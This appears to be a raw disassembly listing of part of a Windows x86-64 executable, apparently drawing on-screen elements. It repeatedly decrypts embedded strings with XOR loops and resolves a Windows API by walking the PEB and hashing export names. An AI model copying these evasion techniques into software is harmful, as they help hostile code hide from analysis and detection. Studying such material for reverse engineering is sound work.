xorps xmm2, xmm0
movd dword [rbp + 0x218], xmm2
movdqa xmm3, xmmword [0x14015f1e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x21c]
xorps xmm2, xmm1
movd dword [rbp + 0x21c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x218]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140093810
lea rcx, [rbp + 0x218]
call fcn.14004f3e0
mov dword [rbp + 0x380], 0x43820000
mov dword [rbp + 0x384], 0x425c0000
lea rcx, [rbp + 0x380]
call fcn.140025d40
movaps xmm6, xmmword [0x14015f300]
movaps xmm7, xmmword [0x14015f2f0]
mov dword [rbp + 0x388], 0x43020000
mov dword [rbp + 0x38c], 0x42480000
mov rax, qword [0x14015c4a0]
mov qword [rbp + 0x98], rax
cmp byte [str.7CESA_e], 0
je 0x140093a00
cmp r14d, 2
jl 0x1400939b7
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm2, xmmword [0x14011c2a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x98]
xorps xmm2, xmm1
movd dword [rbp + 0x98], xmm2
movdqa xmm3, xmmword [0x14015f1e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x9c]
xorps xmm2, xmm1
movd dword [rbp + 0x9c], xmm2
jmp 0x140093a00
lea r9, [rbp + 0x98]
mov r8d, r12d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400939d0
movdqa xmmword [rsp + 0x60], xmm6
movdqa xmmword [rsp + 0x50], xmm7
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rsi, [0x14018d778]
mov qword [rsp + 0x28], rsi
lea r13, [0x14018d770]
mov qword [rsp + 0x20], r13
lea r9, [0x14018d768]
xor r8d, r8d
lea rdx, [rbp + 0x388]
lea rcx, [rbp + 0x98]
call fcn.14003fec0
test al, al
je 0x140093ccd
movups xmm0, xmmword [0x14015c4a8]
movups xmmword [rbp + 0x750], xmm0
movzx eax, byte [0x14015c4b8]
mov byte [rbp + 0x760], al
mov r8d, r12d
cmp r14d, 2
jl 0x140093bc5
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x754]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140093ac0
cmp r8d, 0x11
jge 0x140093c10
movsxd rax, r8d
lea r9, [rbp + 0x750]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140093be0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140093ca8
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140093ca8
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140093ca3
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140093c80
cmp edx, 0x491e0a9c
je 0x140093cad
test r9d, r9d
jne 0x140093c60
mov rax, qword [rax]
jmp 0x140093c30
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
lea rcx, [rbp + 0x750]
call rax
mov rcx, r15
call fcn.140025b40
mov dword [rbp + 0x390], 0x42700000
mov dword [rbp + 0x394], 0x42c80000
lea rcx, [rbp + 0x390]
call fcn.140025d40
movups xmm0, xmmword [str.qS_F_]
movups xmmword [rbp + 0x678], xmm0
movzx eax, word [0x14015c4d0]
mov word [rbp + 0x688], ax
cmp byte [0x14015c4d1], 0
je 0x140093eb0
mov r8d, r12d
cmp r14d, 2
jl 0x140093e65
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x67c]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140093d60
cmp r8d, 0x12
jge 0x140093eb0
movsxd rax, r8d
lea r9, [rbp + 0x678]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140093e80
lea rcx, [rbp + 0x678]
call fcn.14004f3e0
mov dword [rbp + 0xe0], 0x42700000
mov dword [rbp + 0xe4], 0x42f00000
lea rcx, [rbp + 0xe0]
call fcn.140025d40
movups xmm0, xmmword [0x14015c4d8]
movups xmmword [rbp + 0x840], xmm0
movups xmm0, xmmword [0x14015c4f8]
movups xmmword [rbp + 0x860], xmm0
mov eax, dword [0x14015c510]
movsd xmm0, qword [0x14015c508]
movups xmm1, xmmword [0x14015c4e8]
mov dword [rbp + 0x878], eax
movsd qword [rbp + 0x870], xmm0
movups xmmword [rbp + 0x850], xmm1
mov r8d, r12d
cmp r14d, 2
jl 0x140094065
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x844]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140093f60
cmp r8d, 0x3c
jge 0x1400940b0
movsxd rax, r8d
lea r9, [rbp + 0x840]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3c
jl 0x140094080
lea rcx, [rbp + 0x840]
call fcn.14004f3e0
mov dword [rbp + 0x398], 0x42700000
mov dword [rbp + 0x39c], 0x43200000
lea rcx, [rbp + 0x398]
call fcn.140025d40
mov rdi, qword [rbp + 0x420]
mov rcx, rdi
call fcn.140025b40
movups xmm0, xmmword [0x14015c518]
movups xmmword [rbp + 0x7d8], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140094290
cmp r14d, 2
jl 0x14009424f
movdqa xmm5, xmmword [0x14011c2a0]
mov edx, r12d
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x7dc]
mov r8d, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140094150
jmp 0x140094290
lea r9, [rbp + 0x7d8]
mov r8d, r12d
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140094260
lea rcx, [rbp + 0x7d8]
call fcn.14004f3e0
mov rcx, r15
call fcn.140025b40
mov dword [rbp + 0x3a0], 0x42700000
mov dword [rbp + 0x3a4], 0x43480000
lea rcx, [rbp + 0x3a0]
call fcn.140025d40
xorps xmm0, xmm0
movups xmmword [rbp + 0xc10], xmm0
movaps xmm1, xmmword [0x140117080]
movups xmmword [rbp + 0xc20], xmm1
mov dword [rbp + 0x3a8], 0x3f800000
mov dword [rbp + 0x3ac], 0x3f800000
mov qword [rbp + 0x3b0], 0
mov dword [rbp + 0x3b8], 0x41c00000
mov dword [rbp + 0x3bc], 0x41c00000
lea rax, [rbp + 0xc10]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xc20]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x3a8]
lea r8, [rbp + 0x3b0]
lea rdx, [rbp + 0x3b8]
mov rcx, qword [rbp + 0x7d0]
call fcn.140047240
movaps xmm1, xmm9
movaps xmm0, xmm12
call fcn.140025400
movsd xmm0, qword [0x14015c528]
movsd qword [rbp + 0x138], xmm0
mov eax, dword [0x14015c530]
mov dword [rbp + 0x140], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x144], al
mov r8d, r12d
cmp r14d, 2
jl 0x140094493
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm2, xmmword [0x14011c2a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14015c528]
xorps xmm2, xmm0
movd dword [rbp + 0x138], xmm2
movdqa xmm3, xmmword [0x14015f1e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x13c]
xorps xmm2, xmm1
movd dword [rbp + 0x13c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x138]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400944a0
lea rcx, [rbp + 0x138]
call fcn.14004f3e0
mov dword [rbp + 0x3c0], 0x432a0000
mov dword [rbp + 0x3c4], 0x43430000
lea rcx, [rbp + 0x3c0]
call fcn.140025d40
movaps xmm6, xmmword [0x14015f300]
movaps xmm7, xmmword [0x14015f2f0]
mov dword [rbp + 0x3c8], 0x43020000
mov dword [rbp + 0x3cc], 0x41f00000
movsd xmm0, qword [0x14015c538]
movsd qword [rbp + 0x148], xmm0
mov eax, dword [0x14015c540]
mov dword [rbp + 0x150], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x154], al
mov r8d, r12d
cmp r14d, 2
jl 0x14009465c
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm2, xmmword [0x14011c2a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14015c538]
xorps xmm2, xmm0
movd dword [rbp + 0x148], xmm2
movdqa xmm3, xmmword [0x14015f1e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x14c]
xorps xmm2, xmm1
movd dword [rbp + 0x14c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x148]
add r9, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140094670
movdqa xmmword [rsp + 0x60], xmm6
movdqa xmmword [rsp + 0x50], xmm7
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], r13
lea r9, [0x14018d768]
xor r8d, r8d
lea rdx, [rbp + 0x3c8]
lea rcx, [rbp + 0x148]
call fcn.14003fec0
test al, al
je 0x140094980
movups xmm0, xmmword [0x14015c548]
movups xmmword [rbp + 0xab0], xmm0
movups xmm1, xmmword [0x14015c558]
movups xmmword [rbp + 0xac0], xmm1
mov eax, dword [0x14015c568]
mov dword [rbp + 0xad0], eax
mov r8d, r12d
cmp r14d, 2
jl 0x140094865
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xab4]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140094760
cmp r8d, 0x24
jge 0x1400948b0
movsxd rax, r8d
lea r9, [rbp + 0xab0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x140094880
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140094958
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140094958
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140094953
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140094930
cmp edx, 0x491e0a9c
je 0x140094960
test r9d, r9d
jne 0x140094900
mov rax, qword [rax]
jmp 0x1400948d0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
lea rcx, [rbp + 0xab0]
call rax
mov dword [rbp + 0x3d0], 0x42700000
mov dword [rbp + 0x3d4], 0x43660000
lea rcx, [rbp + 0x3d0]
call fcn.140025d40
xorps xmm0, xmm0
movups xmmword [rbp + 0xc30], xmm0
movaps xmm1, xmmword [0x140117080]
movups xmmword [rbp + 0xc40], xmm1
mov dword [rbp + 0x3d8], 0x3f800000
mov dword [rbp + 0x3dc], 0x3f800000
mov qword [rbp + 0x3e0], 0
mov dword [rbp + 0x3e8], 0x41c00000
mov dword [rbp + 0x3ec], 0x41c00000
lea rax, [rbp + 0xc30]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xc40]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x3d8]
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0x3e8]
mov rcx, qword [rbp + 0xb0]
call fcn.140047240
movaps xmm1, xmm9
movaps xmm0, xmm12
call fcn.140025400
movsd xmm0, qword [0x14015c570]
movsd qword [rbp + 0x158], xmm0
mov eax, dword [0x14015c578]
mov dword [rbp + 0x160], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x164], al
mov r8d, r12d
cmp r14d, 2
jl 0x140094b6f
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm2, xmmword [0x14011c2a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14015c570]
xorps xmm2, xmm0
movd dword [rbp + 0x158], xmm2
movdqa xmm3, xmmword [0x14015f1e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
